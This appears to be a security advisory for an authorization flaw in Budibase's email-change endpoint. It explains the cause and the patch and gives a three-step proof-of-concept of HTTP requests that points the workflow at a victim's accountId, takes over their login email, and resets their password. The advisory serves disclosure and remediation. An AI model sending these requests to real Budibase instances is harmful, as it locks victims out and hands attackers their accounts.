Budibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
A logged-in Budibase account-portal user can redirect the email-change workflow to any victim account by supplying the victim's accountId in the request body, take over the victim's inbox, then reset…

The problem
The account-portal endpoint POST /api/v2/email starts an email-change workflow using an accountId value taken directly from the request body. The server validates the caller's currentEmail against the session, but never checks that body.accountId matches the authenticated session's own accountId.
An attacker who knows a victim's accountId can point the workflow at the victim while passing their own currentEmail to clear the session check. The verification code goes to an attacker-controlled inbox. Once the victim's login email is rewritten, the attacker triggers a standard password reset through that inbox and logs in as the victim with a password they set.
The victim is fully locked out.
Proof of concept
A working proof-of-concept for this issue in @budibase/server, with the exact payload below.
# Step 1: Start email-change workflow pointed at the VICTIM's accountId
POST /api/v2/email HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ATTACKER_JWT>
{"currentEmail":"attacker@example.com","newEmail":"attacker-controlled@example.net","accountId":"<VICTIM_ACCOUNT_ID>"}
# Step 2: Complete the change using the code from the attacker's inbox
POST /api/v2/email/verification HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ATTACKER_JWT>; budibase:change_email:correlationkey=<CODE>; budibase:change_email:instancekey=<KEY>
{"verificationCode":"<code>","processInstanceKey":"<key>"}
# Step 3: Trigger password reset to the now-attacker-owned inbox
PUT /api/v2/auth/password HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
{"email":"attacker-controlled@example.net"}The root cause is CWE-639: Authorization Bypass Through User-Controlled Key. The server read accountId from the request body and used it as the workflow target without ever asserting it matched the accountId bound to the authenticated session. The currentEmail check only confirmed the caller was logged in as themselves; it said nothing about which account the workflow would modify.
The patch adds a server-side assertion that body.accountId equals the accountId stored in the authenticated session before the workflow is started or completed. This mirrors the existing currentEmail check and closes the IDOR by making the session, not the body, the authoritative source of which account is being changed.
The fix
Upgrade to Budibase 3.40.0. The fix enforces that the accountId in the request body matches the accountId from the authenticated session before starting or completing the email-change workflow. No workaround is available for earlier versions; update immediately.
Related research
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)
- high · 8.5Budibase: DNS Rebinding SSRF Bypass in OpenAPI Import and REST Query Execution